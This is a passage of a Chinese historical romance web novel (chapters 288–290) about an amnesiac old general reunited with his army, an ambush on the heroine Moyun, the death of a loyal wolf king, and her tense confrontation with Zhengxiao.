她望着远方，那里连绵起伏的山脉与蔚蓝的天际融为一体，关外之地是看似终于恢复了平静，但她知道，战争远比眼前的安逸复杂得多。每一次凯旋背后，都隐藏着无数的牺牲与鲜血，而战争又何来所谓的平静，只怕是暗潮汹涌，惊涛巨浪正在等着他们。
而且这些日子她一直都在疑惑，幽戎那家伙怎会偃旗息鼓了起来……想到这儿她不禁自言自语道:“幽戎那家伙，现在去哪了？”
思淼接过话便笃定的说道：“定是怕了，幽戎岂可和我师兄相提并论，他们天差地别。之前是未开战，现在开战了，他又岂是我师兄对手。”
茉云顷刻被逗笑了，无语得都懒得和思淼继续聊，可是她眼中闪过一丝冷凌，他两才是当真的既生瑜，何生亮，宿命便是一生的对手。
回到中州后，茉云便收到了一封来自京城萧怀逸的信，信上只写了一行字：“已查至卢家，继续否？”
夜深人静，茉云躺在床上，闭上了眼睛，感受着心中翻涌的情绪。她的脑海里充满了挣扎和矛盾，她缓缓睁开眼睛，目光透过窗户看向远处的星空，夜色如此深沉，星光反而闪烁，仿佛在无言地注视着她的内心。
此时，她忽然想起了老影曾经说过的话，“做一匹狼，而不是摇尾的狗。”是啊，狼行万里，目标如一，永远不会忘记自己要干嘛。
可此刻，茉云的心中却升起了一丝犹豫，心底的声音轻轻问道：“可他能接受吗？”
她不知为何，忽然想起了几年前午餐时，思淼和她交谈的话，“幽戎岂可和他师兄相提并论，他们天差地别。”
茉云心中不禁思量，其实他们最大的差别是幽戎是被仇恨和怨忿成就之人，他会将这一战当成他毁天灭地的呐喊。而卢正啸，生来厌战，可他是被亲情和恩德所滋养而成，当然亦是被恩情所困，所以他才心甘情愿背上这万斤重担，他将他爷爷告诉他的，卢家为盛世太平安效犬马的使命，看得比自己性命更重。
想到这些，茉云的心中一阵混乱，爱与恨，恩义与仇恨，到底哪一种更能让一个人变得更强大？
可最终茉云站了起来，走到桌前，拿起笔，写下了“继续查”三个字。
她深吸了一口气，将信绑在信鸽腿上，不再迟疑的将信鸽放出。看向它飞向远方。茉云的眼中闪过一丝狠戾，她对自己坐下的决定，从不迟疑。
“若你要怪我，便怪我吧。”她低声说道，声音里充满了决绝。
队伍在广袤的草原上修整一段时日，待探营回来，装备和状态都整理恢复井然，此时皇上圣旨亦到了，下令军队继续前行。
元帅下令命令正啸继续朝前推进，走过这片草原，就会进入真正的峑戎疆域，到时候便要准备迎接更严峻的挑战。经过这片草原之时，正啸下令一路上，不可惊扰牧民，遇见羊群，必须列队等候，绝不可打扰他们的生活。
恰逢中秋节快到了，元帅素来爱护将士，命威行带着伙营去找牧民买些羊肉，过节时让将士们好好吃一顿。威行领命便带着一队人马出营而去，恰逢是在靠近日升部落之地，奇能命人带了威行去找了老影，老影养的羊群是部落最好的，老影自然是开心的带着威行挑选了几只好羊，然后嘱咐他的傻老弟看着羊群，自己将羊赶去军营。
然而，威行看着老影的傻老弟却愣住了……
看着威行一路和伙营中人带着羊回来，还有一个赶羊的老牧民，雄山马上给他打开了大门笑着上前跟他打闹，而威行则神情却严肃又带着几分激动。
他拍了一下雄山的臂膀：“我有要事，等会儿跟你说！”
威行领着这个老牧民就去了元帅营帐，老牧民哪儿见过这样的阵仗，一脸惊慌失措，身躯佝偻，目光四下乱瞧着，满脸的恐慌。元帅和魏副帅看到他的一瞬间，顿时好似看到了久别重逢的亲人，元帅更是激动冲上前，紧紧抓住了老牧民的肩膀，声音哽咽的喊道：“老程！”
他的呼喊带着不敢相信的喜悦，好似这一刻，所有的时光都倒流，回到了他们曾经并肩作战的岁月。
而那位老牧民，却依旧一脸的惶恐，拼命挣脱，嘴里不停地絮絮叨叨着西南的方言：“不！不！我要回家！我要找……我哥！”
此时正啸和周总教头亦冲入了营帐，一眼便看见这个一脸沧桑的老者，认出了他。
“程叔！”
“我是……老乐！”老头的声音带着深深不安和恐惧，他好似已经完全不认识面前这些一个个曾和他有过深深羁绊的故人。
看着眼前的情景，众人亦意识到，
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岁月沧桑，一定是发生了什么，才让他变成这样。
夜幕降临，老牧民无可奈何地呆在了军营，王强用方言说，明天一早就送他回去，现在完了。正啸坐在他身旁，轻声安抚他，他亲自打了一盆热水，为擦拭了脸和手，端来了热饭热菜给他，老牧民端起饭菜开心的吃了起来，才终于平静了几分。
正啸深深吸了口气看着他，少时自己亦是到处出去玩，玩得太晚归营，被娘责罚站了一个时辰马步，还不让吃饭，他饥肠辘辘又不肯认错去求娘，程叔夜里总会就偷偷给他端来一碗热饭菜，坐在一旁，笑着看着自己一顿大快朵颐之后，再把碗藏在兜里带出去。
晚上他在正啸的陪伴下，终于安稳的睡了过去，秋初是白神医远遁山中采药之时，他不在军中，不言来为他诊脉，说他脑中血脉不通，应该是受过重创，所以有可能是失意了。
元帅亦点点头，原来如此，而正啸看着一脸沧桑，连睡着之时都显得如此怯懦而谨小慎微的程叔，已经完全了没有当日的身为大将军的沉稳和气势，正啸深吸一口气，内心充满了愧疚，但他仍感谢命运的安排，他少时就觉得程叔没有死，所幸他真的还活着……
翌日清晨，威行亲自又去请了老影来，老影一听元帅之言，眼中亦全是震惊，他根本不知道他是卢家军的将军，部落众人皆知，老影这个傻老弟，是十年前他放牧时在草原上捡到的一个浑身是血地将死之人，醒来之时，什么都不记得，痴痴呆呆，部落的医者也说他头受重创，致其痴呆。
而且他当时只穿着一身单薄的里衣，身上什么印记都没有，后来是老影看他既然大难不死，还留了一口气，就一直悉心照顾他，老影自己也是妻与子皆亡，孤身一个人过，所以一直将他带在身边。
老乐一脸委屈而畏惧的看着他们，躲在了老影的身后，伸手拉着老影的衣袖，老影则笑着拍拍他的肩膀说：“老乐啊，你是个有福之人，你的家人朋友找到你了！”
老乐听见了老影都这么说，才微微探出头，看见这一群群穿着铠甲的男人，眼中都还是畏惧。
老影则指着老乐笑着像众人说道：“他现在叫老乐，名字还是云丫头给他取的，那时部落人见他痴傻，都叫他大傻子，他不懂意思，就冲着人傻笑，云丫头说，他不是傻子，他是傻乐，就给他取名叫老乐，谁再叫他傻子，云丫头和他就追着人打，从此部落众人都叫他老乐了。”
老乐听到了云丫头的名字，才开心的絮叨着说道：“老乐，老乐！”
众人看见老乐欢心雀跃的样子，终于看见了当年的程老将军的模样，他亦是时常喜笑颜开的乐呵着。
老影终于说服了老乐留在了军营，说他的家人会来看望他，老乐虽然有些不乐意，可是老影说会时常来看他，而且云丫头亦会来军营看他，他才勉强同意了留下。
老影离开之时，元帅说老影是卢家军的大恩人，让正啸亲自相送，老影一再说无需这般客气，正啸还是亲自送他去了营门。临走之时，老影转头看向正啸，认真端详了片刻笑了。
“少帅当真是气度不凡，英伟霸气之人！”老影看向正啸笑着评价道。
“您过奖了。”正啸温和的看向老影，其实他自小听这些恭维之词亦是习惯了。
“我这可不是吹捧！”老影笑着望向旷野回忆道，“遥想当年那丫头还不及肩高，来投奔了部落，第一次跟人放牧看见了草原上的狼，别的小孩都躲在了大人身后，她却开心就拿着一根赶羊的棍子，朝着狼狂奔而去，我们还以为她是初生牛犊不怕虎，谁晓得她大声嚷着，哇，这是什么，长得好凶好威武啊，我喜欢，我要抓一只回去。”
众人都愣了半刻望向老影都乐了，想来这也符合茉云的性子。
“你们猜后来怎么着？”老影笑得皱纹都凑到了一块，他伸手拍拍正啸的肩膀大笑着说道，“结果狼都被她吓得撒腿就跑，小子，你碰见方茉云，咋还不跑呢，你胆子够大，够威武啊？”
顿时众人哄堂大笑，正啸亦嘴角微微上扬露出一丝温和的笑意。
288.危急
这日，押运粮草的队伍到了，是茉云亲自押运而来，当她的队伍赶到之时，夜幕已然降临，润吉是本月的守营将领，他马上恭恭敬敬的亲自给茉云开了营门。
茉云跟润吉说笑着寒暄了几句，便来到正啸的营帐，因为她远远地看到他的营帐还透出灯光，心想他应该还在处理军务，未经通报，她便径直冲进了正啸的营帐。
然而，进入营帐的之时，她愣了半刻，只见正啸正在轻轻地扶着一个老人躺下，茉云心中正是疑惑，还未等她开口，便听到床上之人忽然一声大喊，夹杂着方言，颤声指着自己道：“云丫头来了，快将吃的都藏着，不然饿死了去！”
顿时，整个营帐内转头望向茉云，瞬间爆发出一阵哄堂大笑，正啸亦转身望向茉云，看到她笑颜的那一刻心情豁然开朗。
茉云亦乐得捧腹大笑，她走进去看向老乐和正啸，眼中带着些许疑惑问到：“老乐？你为何在此？”
执行见状，连忙上前向茉云解释道：“老乐是程老将军，当年程老将军重伤之时，正是老影救了他。”
茉云愣了一下，脑中快速回忆起，当年老乐确实是老影从草原上捡的……，她走近床前，看着老乐指着正啸说道：“你是他岳丈啊？”
老乐眼中虽然有些费解，但是依然颤巍巍地点点头，因为他们都是这般说的。
茉云顿时笑了，笑中带着一丝戏谑和轻松，她指着自己说道：“那我叫你什么？”
老乐毫不犹豫，声音笃定地答道：“老乐哥！”
“对，我叫你哥！他叫你爹！所以……”茉云笑得愈发灿烂，转身指着自己凑近正啸说道：“来，卢正啸，叫声姑姑听。”
话音刚落，众人再次哄堂大笑，气氛瞬间变得轻松愉快。正啸面色略显无语，但眼中却带着一抹柔和，他伸手推开了茉云头，可动作中分明透露出几分亲昵。
老乐虽然白发已斑白，但是平日里心智就像个不到十岁的孩子，元帅和魏副帅都极为照顾和体恤他，而且大家也都看得出来，老乐和茉云的关系非常好，老乐也只认得茉云是他多年的老朋友，其余人早已不认识。
通过这些日子的相触，老乐也就唯独对正啸稍稍放松了警觉，所以他一直住在正啸的营帐里。
中午午膳之时，茉云忍不住随意问老乐道：“老乐哥，你这么大个人，为什么要日日睡在少帅营帐里？他晚上看军务到那么晚，还要照看你，你自己找个帐篷睡不行吗？”
老乐一脸不高兴地低头吃着饭，这会儿元帅视察诸将带兵上午操练完都走来用午膳。
威行看见老乐不太开心的样子说道：“怎么了，饭菜不好吃吗？”
老乐一脸不满的咕哝道：“云丫头不让我睡在少帅营帐，她要跟少帅睡！”
“扑！”众人顷刻哄堂大笑，茉云差点把饭喷出来，拍着桌子骂道：“我何时说了下半句！”
元帅则笑着大手一挥接过话说,随意的调侃道：“老程啊，当年父帅就说了你比我能耐！你看我说了大几年的事连个影都没有，你一回来就搞定了，那敢情好！”
顿时让伙营内众人笑得更是前俯后仰，茉云则一脸的无语吃着饭，气氛变得轻松欢快。
入夜之时，执礼和沧海都随着正啸在处理军务，茉云被老乐拉着，围坐在正啸的营帐内，陪老乐下他刚学会的五子棋。
下着下着，老乐突然又喊道：“悔棋！我悔棋！”
茉云眉头一挑，坚决说道：“不行，不能悔！你悔了多少次了？”
两人顿时争论了起来，互不相让，正啸抬起头望向茉云，语气中带着几分无奈：“你就让着他点嘛。”
“为什么？下个五子棋，他都悔了五次了，凭什么！”茉云忿然的说道。
老乐见状，指着执礼朝茉云气愤的喊道：“他说了，就凭我是少帅原配的爹，你日后也得给我磕头，叫我爹！”
茉云眼中闪过一抹怒意，“啪！”一巴掌拍碎了棋盘，瞪着他们怒吼道：“做你的春秋大梦吧！”
说完，她气冲冲地转身回了自己的营帐。老乐一脸惊慌地看着碎了的棋盘，然后看着正啸像个无辜的小孩。正啸则无语地瞪着执礼，营帐中人忍不住再次哄堂大笑，就连平时严肃的沧海也忍不住乐了。
老乐和茉云总是轻易让整个营帐的气氛变得异常轻松，但这一切随着程家人的到来，氛围立即变得微妙起来。谁都知道，程家的后人，包括程将军儿子和义子，都与茉云有着仇怨。
皇上准了让程将军的儿子先出狱来探望父亲，程夫人带着一群家人来军营，看向茉云的第一眼便带着挑衅和怨愤，显然他们并没有自省，也没有放下这段宿怨。
程夫人领着他们跪在老乐面前，哭得痛彻心扉，声声泣诉。虽然老乐记忆模糊，面前的人他并不认得，但看到他们如此痛苦，他的眼中不由得泛起了泪光。
程夫人撕心裂肺地哭喊着，拉着他们的儿子说道：“儿啊，求求你爹，救救你，求求你爹，让你姐夫救救你！老程啊，我们女儿也走了，走得好惨啊……”
众人看着不禁动容，卢帅看着亦是热泪盈眶，连魏副帅、周总教头都不禁红了眼眶。
晚些时候，执礼去了茉云营帐，他轻声而委婉地劝道：“茉云，不如您暂时先不要去少帅的营帐，以免他们与你正面冲撞，发生不必要的尴尬。”
茉云自然知道这是正啸的意思，担心茉云出现可能会激化不必要的矛盾，茉云冷静的点点头，她也不想让正啸两难。
在程家人的嘴里，茉云是一个何其恶毒的蛇蝎女子。可老乐相当不满他们对自己老友云丫头的诋毁，但程家对霍家的怨气、对茉云的恨意，却始终没有消散。
而老魏，也一直在背后为程家和边鸿远说情，希望正啸能够以军功请求皇上彻底赦免程家的罪行。
夜深之时，正啸在为老乐擦手，轻声问道：“程叔，你觉得我应该帮他们请求赦免罪责吗？”
老乐望向正啸，他显然不懂，眼中闪过一丝疑惑的问道：“他们犯错了吗？”
正啸目光变得更加沉重，深吸一口气点点头。
老乐想了想，然后摇了摇头：“那不用，犯错了就要挨罚。要是我弄丢了羊，老影哥就罚我晚上只能吃一碗饭。”
老乐说完，便从兜里掏出了一个还带着温度的馒头，塞到正啸手里：“你晚上没吃饭，饿着可难受了，快吃了。”
正啸愣了一下接过馒头，深深吸了一口气，顿时心中无限感慨，尽管他已经失忆了，但是这份朴实而温暖的关怀还在，这份简单而真挚的情感亦在。
夜幕漆黑之时，老乐已经沉沉
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入睡，万莫精神奕奕的守在帐篷外，茉云此时轻轻地走进营帐，居然看到他一边吃着馒头，一边低头书写着奏折。微弱的烛光映照着他的侧脸，映出了那种刚毅与坚定。
茉云没有打扰他，看着他轻轻的走到案前，她明日准备启程回中州，特意趁着人少之时，来到正啸的营帐与他告别。
待她走近，正啸发觉她之时，旋即将手中的奏折合上，眼神深邃却透出一丝警觉地望向她。
茉云微微怔了一刻，望向正啸，眼神瞬间冷淡了几分说道：“我明日一早便启程回中州了。”
话音未落，还未等正啸回应，她便转身离去了。正啸目光看着她渐行渐远的背影，双眉微微蹙起，心中涌上一股莫名的情绪，可是她现在离开这个是非之地也好。
茉云走出营帐，心头的失落和坚定交织在一起，翌日清晨，天未亮，茉云轻轻跃上马背，一骑绝尘，迅速消失在茫茫草原中。
正啸站在营帐内，听见了茉云渐渐远去的马蹄声，心中难掩一丝复杂的情感，只能轻轻叹了一口气，眼中闪过一丝莫名的忧虑……
然而，他不知道的是，更危及之事正悄然袭来，就在茉云返回中州的途中，突如其来的一道冷箭划破了长空，迅速朝她射来。
幸亏她凭借着高超箭手的“听风之能”，瞬间感知到了危机，急速伏下身体，险之又险地躲开了那致命一箭。她迅速望向箭矢射来的方向，心中已隐约察觉到了极为不妙——瞬间涌现出一群蒙面杀手，他们手中都紧握着闪闪发亮的尖刀，气势汹汹而来。
茉云心中一紧，立即意识到，自己被杀手埋伏了。她迅速看向四野，她知道，在这草原空旷之地，如果被这群杀手围追堵截上……即使是猛虎，也难敌群狼，那自己小命便悬了。
顷刻间，茉云毫不犹豫地策马微微掉转，朝远处山野疾驰而去，到达了山下，她飞身下马，一鞭子打跑了马儿，自己则往密林中跑去，唯今只能看山中能否寻找一线生机。
杀手们紧随其后，迅速下马追赶，但这座山并不像南境的山那样复杂多变，山上贫瘠、空旷，鲜少有可以藏身躲避之地，茉云只能不断奔跑，寻找能逃脱的机会。
而在南营中，正啸正在营中召开会议，忽然听到门外的润吉大声喊道：“我要见少帅！”
他的声音中虽带着急切，营中众人本在商议军务，顿时微微蹙眉。周总教头冲出去，厉声道：“润吉，怎么这么不懂规矩！何事要如此咆哮！”
润吉却丝毫不顾及急切地喊道：“少帅，我在瞭望台上看见，好像是方将军的马奔腾而来，可是……不见方将军人！”
正啸听到这话，猛然一惊，立刻起身飞奔出营。只见茉云的马儿已奔至营门前，而茉云却不见踪影。正啸顿时心中一沉，大吼一声：“烈儿！”
顷刻间，他的马儿狂奔而来，正啸飞身上马，如闪电般飞驰出了大营，元帅亦走出营马上下令道：“沧海，罗虎，快带人随他去！”
“是！”顿时众人亦骑马疾驰出营。
茉云的马儿看见正啸出营之时，马上掉转马头，疾风般朝着远方奔去。正啸策马迅速追了上去，心情焦急如焚。他知道，茉云此刻可能已陷入极大的危险之中。
风声呼啸，烈烈如刀，她命悬一线，而他不顾一切的狂奔而去……
289.奔向
茉云山中奋力躲避着杀手的追击，可山中贫瘠荒凉，每当她的身影稍有闪现，便会受到箭矢的追击。
但她岂是轻易放弃之人，朝着深山逃窜而去。深山里幽暗寂静，平常鲜少有人涉足，杀手们却也并未罢休，他们分成了几队人马，继续进入深山追击。
其中一队突然与茉云遭遇，茉云毫不犹豫拔剑迎战，一番激烈厮杀后，茉云成功逃脱，但其余杀手闻讯赶来，依旧紧追不舍。
茉云最终躲进了一个山洞。茉云知道，这并不是一个长久的藏身之所，而且这些杀手绝非普通的赏金杀手，他们必是要取她的性命，绝不会轻易罢休。
她暂时放松身体，靠在冰冷的石壁上，闭上眼稍作休息。突然，她听到杀手的脚步声愈发接近，茉云立刻飞身离开洞口，继续向更深的山林逃窜。
然而，经过厮杀和翻山越岭般的奔跑，她已经相当疲惫，身上还带着伤，速度逐渐变慢。当她跳跃过一条山沟时，脚踝被飞来的箭矢划中，鲜血顿时涌出，沿路留下了血迹，让她的逃脱之路变得愈加艰难。
杀手已经渐渐逼近，她拼命逃窜时脚下被枯藤绊倒，重重摔倒在地。刹那间，杀手举起锋利的刀刃向她刺来，茉云急忙顺手拿起弓，拼尽全力挡住了这一击。弓瞬间碎裂，她旋即翻身沿着土坡滚下，落到一处石崖边。
杀手紧追而来，再次举刀扑向她。这时，一道灰影猛地掠过，直直扑向那名杀手。茉云抬头惊愕地望去，竟然是狼王！那杀手挣扎着甩开狼王，脖颈处的血迹斑斑，恶狠狠地盯着狼王。
狼王则站在茉云和杀手之间，露出锋利的牙齿，目光凶狠，发出低沉的吼叫，死死的瞪着那杀手，而狼群紧随其后赶到，瞬间纷纷摆出攻击姿态，面对如此庞大的狼群，那杀手后退了几丈。他似乎是个杀手头领，握紧刀开始大声下令，让其他同伙前来增援。
茉云艰难地支撑着身体，马上朝着狼群喊道：“阿灰，走！他们有刀，你们不是他们的对手！”
就在此时，一个强壮的杀手突然赶到，他丝毫未顾及杀手头领的警示，莽撞的朝着茉云举起刀就砍来。狼王毫不犹豫，猛地腾空跃起，迅速扑向他，准确无误地躲过刀锋，扑倒了那名杀手，群狼如潮水般涌上，瞬间将其淹没。
然而，一队杀手赶来，看到同伴惨状之时，那头领愤怒至极带着这队人重新冲下土坡，举起刀刃朝狼群劈来。
就在这千钧一发之际，狼王再次跃起，挡在狼群前方，奋力抵挡了恶狠的利刃，最终被一刀划中，重重地跌落山崖。
“阿灰！”茉云顿时失声怒吼，可是她瞬间冷静了下，转向狼群中另外一只健硕的灰狼，大声吼道，“快跑，去救它！”
话音一落，茉云就不顾一切地朝着相反的方向跑去，杀手们自然放弃了攻击狼群，继续紧追茉云而去，誓要取茉云的命。
茉云此刻只能凭借强大的意志力支撑，以卓越的轻功在森林中飞奔。但是体力几乎快耗尽了，渐渐实在跑不动了……直到她听到一道熟悉的咆哮声从远处传来：“方茉云，你在哪！”
她的心猛地一震，仿佛一切都在这一刻归于静止，脑海一片空白，心中只有一个念头，那就是朝着这声音去。即便身后箭矢如雨般射来，刀锋寒光闪烁，哪怕自己只剩下一口气，她依旧毫不犹豫狂奔而去……
茉云的视线渐渐模糊，四周的景象开始模糊不清，双腿如同灌了铅般沉重，脚下的每一步都像是在与大地抗争，鲜血沿着她的腿缓缓流淌而下，筋疲力竭的她，就在她实在难以支撑之时，在那已朦胧的视线中，她终于看见了那道熟悉的身影。
那人身着铠甲，威武雄壮，骑马驰骋而来，犹如一道凌厉的风，整个世间都在为他让路，又宛如黑暗中的一束光，将所有无形的力量汇聚，透出踏破一切的气势——这就是她最熟悉的气息。
茉云拼尽最后一丝力气，朝着那个身影倒去。正啸瞬间拉住缰绳，飞身而来一把抱住倒下的她，动作之迅猛，好似这一刻就要将她融入自己的怀里一般。
就在抱住她的瞬间，正啸也顷刻感受到了她身后的杀气，他一个转身用身躯护过茉云，侧过头怒目圆瞪，狠狠地瞪向追来的杀手。
杀手们面对正啸那愤怒而冷峻的眼神，顿时感到一阵寒意，停住了脚步。随后，他们的目光落在山下飞驰而来的卢家军人马，另一侧的山下也传来急促的马蹄声，是部落的骑射手们赶来了，而且隐隐的后山好似也传来一阵铁骑声……
杀手们立刻调转了方向，迅速往山中的小道逃窜。
正啸收回目光之时，看到地上茉云身后那一串鲜红的血脚印时，心头猛然一紧，马上意识到茉云的腿受了伤。他马上扶住她的肩膀，将她轻轻扶到一块山石旁坐下。
随后，他从马鞍上取下水袋，让茉云靠到自己肩上，将水喂给茉云喝了几口，清凉的水一入喉，暂时缓解了她体内的干渴与痛苦。
茉云的眼皮微微颤动，疲惫地睁开了眼睛，渐渐恢复意识，便倔强地坐直了些，靠在旁边的山石上，她还没有力气说话，眼神中满是复杂的情绪。
正啸走到她腿旁，蹲下低头轻轻查看茉云的腿部伤口，那道鲜红的血迹仍在缓缓渗出，虽看似严重，但所幸只是被箭划伤，并未造成更深的伤害。他随即快速地撕下自己里衣的衣袖，用力扯开，亲手地为茉云扎紧了伤口。
茉云的目光定定地看着他，虽然没有话语，但此刻信任与依赖胜过了千言万语。她又闭上眼，微微调整了呼吸，山风轻轻吹拂，身体也渐渐放松在恢复，然而顷刻间，一股温柔又强势的力量瞬间包围了自己。
茉云微微一怔，感受到了这份熟悉的温暖，正啸的怀抱总是这般强大而有力，一下将自己全部拥入他怀中。自己能够清晰地感受到他胸膛的起伏，坚实的肌肉与自己的身体贴得如此近，像是一堵安稳的墙，给自己没有从无迟疑地庇护。
正啸抱得越来越紧，甚至有些令人窒息，好似还未从刚才的惊慌中解脱出来，仿佛生怕失去她一般。这份紧张与在意，也他每一寸力量中传递到茉云的身体，所以茉云没有挣扎，只是轻轻闭上了眼，任由正啸将她拥在怀中。
直到沧海带着其他人赶到之时，正啸才松开茉云起身，沧海马上下令示意众人下马待命，与此同时，奇能和正奇带领着人马也到了，正啸和卢家军将士立即警觉地盯着他们。
正奇急忙开口道：“少帅，别误会，我们是发现杀手过境，特来查看。”
可当他们看到正啸身旁坐着的茉云浑身是血，奇能和正奇也惊愕不已。
正奇深吸了一口气，看向奇能说道：“你说的没错，那群人马果然是冲着茉云来的。”
奇能则微微皱着眉，凝视着茉云，而茉云却始终盯着山中，似乎完全没有意识到身边的动静，起身后，艰难地向山中走去。
奇能顿时指着天
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，焦急地劝道：“茉云，大雨将至，此刻进山不安全。”
然而，茉云一脸决然，毫不犹豫地说道：“阿灰救了我，它掉下了山崖，我要去找它。”
话音刚落，正啸便抬手让人牵来了茉云的马，茉云接过缰绳，迅速地飞身上马，随即骑马奔腾而去，正啸紧随其后。
罗虎将军吃惊地看着，喊道：“师兄……”
沧海则立刻上马下令道：“所有人，跟上！”
“沧海哥！”罗虎吃惊地望向沧海，“你让师兄去，此山无林，大雨可能崩塌！”
“放心吧，吉人自有天象。”沧海深吸一口气说道，他心里知道正啸绝不可能不管茉云。
一行人绕过山脚，来到山崖下，茉云四处寻找，却没有看到阿灰的身影。
奇能则担忧地看向茉云劝道：“狼王和狼群都不在，它应该没事。”
卢家军中人这时才意识到，茉云口中的阿灰是一只狼。茉云依然不愿放弃，她下马走着，沿途四下张望。
而正啸深吸一口气，骑马到她身旁，向她伸出手道：“跟我来，我带你去找它。”
茉云终于伸出了手，正啸一把将她拉上马，二人顺着山路奔驰而去。途中，茉云终于发现了正啸是在沿着沿途的血迹前行，此时天色已渐渐暗了下来，远处传来阵阵雷鸣。
终于，她看到了狼群，而狼王倒在狼群的中央，狼群围绕着它，看到茉云和正啸到来，它们顿时表示出了警觉，紧盯着众人。
正啸在数丈前拉住了缰绳，让众人停了下来，茉云飞身下马，迅速跑到狼王身旁，狼群旋即让开了位置，她跪到了狼王身旁，她轻轻触摸它的身体。
狼王已经奄奄一息，几乎无法动弹，微微睁开了眼睛看了茉云一眼，然后望向身旁那头年轻威武灰狼，还有一头也已年迈的母狼，他们眼神好似在无言的交流。最终它的目光定格在它们的领地的方向，随后缓缓闭上了眼睛。
顿时，狼群中的所有狼齐声发出了哀嚎，仿佛在为失去的王者送别。天空已经彻底阴沉，倾盆大雨顷刻间如柱而下，泥泞的土地被雨水冲刷，泛起阵阵浑浊的暗涌。
茉云跪在那里闭上了眼睛，紧握的双拳不停颤抖，眼泪与雨水交织，顺着脸颊滑落。众人默然无声，所有人都沉默着送别这位草原上的一代狼王，周遭一切都如此悲戚。
片刻后，年轻的灰狼发出了最为嘹亮的嚎叫，它成为了新的狼王。它是老狼王的儿子，茉云曾在多年前救下的狼崽。灰狼注视着茉云，良久后，它带领狼群开始离开，带着自己的族群返回领地。
它走在队伍的最后，回头深深看了茉云一眼，茉云也睁开了通红的眼睛与它对视，眼中满是狠戾之色。好似她已不再是人间的存在，只剩下那股深沉的愤怒与悲痛。
狼群渐行渐远，茉云跪在狼王的尸体旁，她的身影在这片狂风暴雨中显得格外孤独而坚决。茉云站起身，扯下自己的披风盖在狼王的身上。
她转身之时，眼神中流露出的气息，透出无与伦比的杀气，犹如一只蓄势待发的猛兽，冷冽得让人几乎无法呼吸。
她冷冷望向奇能和正奇等部落中人，紧绷的嘴唇轻启的瞬间，吐出的每一个字都透着刺骨的寒气：“帮我带句话回去，可惜我没死，他们就死定了！”
她的声音在大雨和雷鸣中都格外清晰，如同雷霆般威慑人心，大雨依旧滂沱，天地好似与她同悲同怒。
290.强势
倾盆大雨已经渐渐停歇，天空中只剩下厚重的云层，沉沉地压在大地上，好似整个世间都被这场暴风雨笼罩。
茉云被正啸带回了营帐，看到她回来的那一刻，卢帅和其他将领们终于松了口气，可是看着她的伤势和将士们冷峻的神情，纷纷没有多言，带茉云更衣洗漱后，不言立刻进入了营帐查看了她的伤势。
与往日里嬉皮笑脸的茉云不同，她从头到尾没有任何表情，仿佛周围的一切都与她无关。正啸走进她的帐篷，亲自为她清洗脚踝的伤口，给她撒上金创药，拿起洁白的布条紧紧缠绕在她脚踝上。
然而，茉云的眼神始终没有看向他一眼，好似对一切都视而不见。她面无表情吃了饭，躺倒床上闭上眼睛就睡了过去，不言也说她此刻最需要的就是休息，让她睡会儿。
正啸轻轻给她盖好了被子，退出了营帐，命石川守在营帐前，谁都不准来打扰，然后转身走去元帅营帐复命。众人都说她是伤心过度，但是正啸心中敏锐地察觉到茉云眼中的变化，他知道她心中的怒火已经升腾至鼎沸。
深夜之时，营帐中寂静无声，茉云忽然坐起，眼中闪过一丝寒光，似乎有了决定，准备离开，她掀开营门之时，微微一愣，月光下就站着自己最熟悉的身影。
正啸微微低头俯瞰着一脸决绝，眼露寒戾的茉云，神情中透着一丝无奈和疼惜。
而茉云却没有丝毫转圜和温情的低吼道：“走开！”
说完，她就要绕开正啸飞身而去，正啸见状迅速抬手，一把拉住了茉云的手臂，将她拖入了帐篷。
“滚开！”茉云的眼神瞬间透出了寒戾之意，愤怒涌上心头，她甩开正啸的手要走。正啸却毫不犹豫地一把将她拦住，力道之大让茉云无法挣脱，可她仍然拼命挣扎。
正啸低声咬牙轻吼道：“方茉云，你冷静点，别逼我将你击晕！”
茉云的怒火彻底爆发，她指着帐外吼道：“若死的是关若辰和他们呢！你能冷静吗？”
“送死报不了仇！我绝不可能让你此刻出营！”
茉云听后更为愤怒，忿然瞪着正啸：“卢正啸，你真以为你能困住我？”
“那你有本事就从我身上踏过去！”
茉云顿时愤怒得青筋都爆了出来，她咬紧了牙，握紧剑柄的手都在颤抖，似乎顷刻就要拔剑了，全身紧绷让脚踝伤口的血都渗了出来，顷刻染红了白布。
正啸见之便双眉紧皱，可他瞬间强行压制了心中的愤怒，忽然一把抱住了茉云，不容她再挣扎，在她耳边压低语气地说道：“方茉云，你冷静点!走出这张营门，你能信谁？你又知道是谁想害你？你身上还有伤，你如何去报仇？”
茉云冷笑着毫不留情地反驳：“卢正啸，你跟我谈信任！那这张营帐门里的人，难道可信吗？”
正啸深吸一口气，此刻营帐内只有他们两人，她分明就是在说和自己之间毫无信任可言！
他目光中透出了无奈，但依旧没有任何商量的余地，茉云猛地又要甩开正啸，可正啸如此强势让她完全没有机会挣脱开，茉云反抗不成反而还被正啸强行带到桌前坐下。
正啸迅速从胸前抽出昨日写的奏折，甩到桌上，沉声说道：“我不会像皇上请旨饶恕程家罪责，程叔是程叔，可程家人从未自省过，若纵容，只会让他们越陷越深。我不想给你看，也未跟你说，并非不信任你，只是不想传开，让程家和军中人误以为你是始作俑者。”
茉云扫过那份奏折，的确是正啸昨天写的那份，上面清楚写着请求皇上以大将军的最高荣誉恩赐程老将军荣休，并无其他。
“你这两日先呆在军中给我好好将伤养好，至少伤口不再淌血！”正啸将她抱紧，语气带着疼惜却不容置疑地说道，“我一定会让你去查出谁是凶手，定然不会放过他。”
茉云冷哼一声，瘪瘪嘴巴，依旧不甘心地要挣脱，但是明显力气削弱了几分，忿然道：“养什么伤，被你抱得骨头都要断了，松开！”
正啸微微俯下头看向茉云，自己好说歹说，她依旧是这副不爽又不甘的凶狠模样，自己没给她丝毫反抗的机会，她还是一个劲的在自己怀里挣扎，顷刻间正啸不想废话了，眼底的忿然刹那被点燃，化成了灼灼的征服欲。
他忽然手臂猛地用力一拉，茉云顿时只感受到无法摆脱他那股不可抗拒的力量，就强势被他按住了双手，他那双深黑的双眸盯着自己，似乎在警示自己别动，还没等茉云反应过来，正啸俯身便用力吻了下去。
这一吻没有任何犹豫与退缩，带着他所有的情感，强势而直接，茉云的身体一僵，所有的挣扎和情绪似乎在这一吻中停滞，愤怒和反抗也被正啸无声的力量与深沉的情感所压倒……
渐渐他松开了压住茉云的手，抱起她，吻也变得温柔了几分，可是随着正啸地呼吸愈发炙热，吻又变得热烈而深入，直至吻得茉云都快喘不过气来，他才松开，深深望向她。
